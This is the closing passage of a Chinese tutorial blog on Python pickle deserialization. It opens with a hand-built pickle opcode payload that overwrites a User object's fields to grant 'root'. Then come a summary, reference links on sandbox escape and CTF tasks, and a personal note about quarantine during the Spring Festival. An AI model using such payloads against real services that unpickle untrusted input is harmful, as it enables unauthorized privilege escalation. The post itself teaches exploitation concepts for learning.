cstructs\nUser\n(N}V__set__\ncstructs\nUser\nstb0cstructs\nUser\n(N}Vprivileged\ncstructs\nUser\n(Vtr0y\nVroot\ntRstb0cstructs\nUser\n(Vtr0y\nVroot\ntR.
总结
橘友们应该可以发现,opcode 有个特点是“赋值容易查值难”。如何利用 opcode 构造 payload 需要多练习才能掌握,以及对 Python 魔术方法等各种稍底层的原理要有一定的理解,才能够知其然也知其所以然。
Python 反序列化、Python 沙箱逃逸,以及 SSIT 所需的知识点有着很大的关联性,通其一而知其百,保持知识的连通性效率才会高。
资料
- Python 沙箱逃逸的经验总结
https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/ - pickle.py 中 opcode 备注
https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L107 - 可以序列化的东西
https://docs.python.org/zh-cn/3/library/pickle.html#what-can-be-pickled-and-unpickled - pker,方便生成 opcode 的工具
https://github.com/EddieIvan01/pker - Python 的导入机制
https://docs.python.org/zh-cn/3/reference/import.html#the-import-system - pickle 的 load_build 逻辑
https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L1697 - BalsnCTF-2019 Python 反序列化题
https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc - Python 描述器
https://docs.python.org/zh-cn/3/howto/descriptor.html
今年应该是最惨的一个春节
在外地居家隔离
你说回家吧好像确实也挺无聊的
但就是控制不住想回去
一个人过春节
天天吃政府发的盒饭
真是太容易焦虑了
希望疫情早点结束
这篇文章是从除夕开始写的
化焦虑为动力了属实是
这两天搞了个微博账号
微博 id 是 6575448477,用户名是 Macr0phag3
主要是整活和发一些技术啊、摄影啊之类的日常
隔离期间真的话多,有点啰嗦哈哈哈
好了就说到这吧
祝橘友们虎年虎虎生威,大吉大利